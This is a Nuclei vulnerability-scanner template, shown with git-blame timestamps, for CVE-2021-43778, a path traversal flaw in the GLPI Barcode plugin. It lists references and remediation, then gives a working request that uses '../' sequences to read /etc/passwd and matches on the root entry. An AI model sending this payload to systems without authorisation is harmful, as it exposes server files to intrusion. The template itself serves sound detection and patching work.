nuclei-templates/http/cves/2021/CVE-2021-43778.yaml

42 lines
1.4 KiB
YAML
Raw Normal View History

2021-12-01 07:04:29 +00:00
id: CVE-2021-43778
info:
2022-11-29 05:50:01 +00:00
name: GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability.
2021-12-01 07:04:29 +00:00
author: cckuailong
severity: high
description: Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.
2021-12-01 07:04:29 +00:00
reference:
2021-12-01 13:49:10 +00:00
- https://github.com/AK-blank/CVE-2021-43778
2021-12-01 07:04:29 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-43778
- https://github.com/pluginsGLPI/barcode/security/advisories/GHSA-2pjh-h828-wcw9
- https://github.com/pluginsGLPI/barcode/releases/tag/2.6.1
2023-07-11 19:49:27 +00:00
- https://github.com/pluginsGLPI/barcode/commit/428c3d9adfb446e8492b1c2b7affb3d34072ff46
remediation: Upgrade to version 2.6.1 or later. Or, as a workaround, delete the `front/send.php` file.
2021-12-01 07:04:29 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
2021-12-01 07:04:29 +00:00
cve-id: CVE-2021-43778
cwe-id: CWE-22
2023-07-11 19:49:27 +00:00
epss-score: 0.64298
cpe: cpe:2.3:a:glpi-project:barcode:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: glpi-project
product: barcode
tags: glpi,cve,cve2021,lfi,plugin,traversal
2021-12-01 07:04:29 +00:00
http:
2021-12-01 07:04:29 +00:00
- method: GET
path:
- "{{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd"
2021-12-01 13:49:10 +00:00
matchers-condition: and
2021-12-01 07:04:29 +00:00
matchers:
- type: regex
regex:
- "root:.*:0:0:"
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200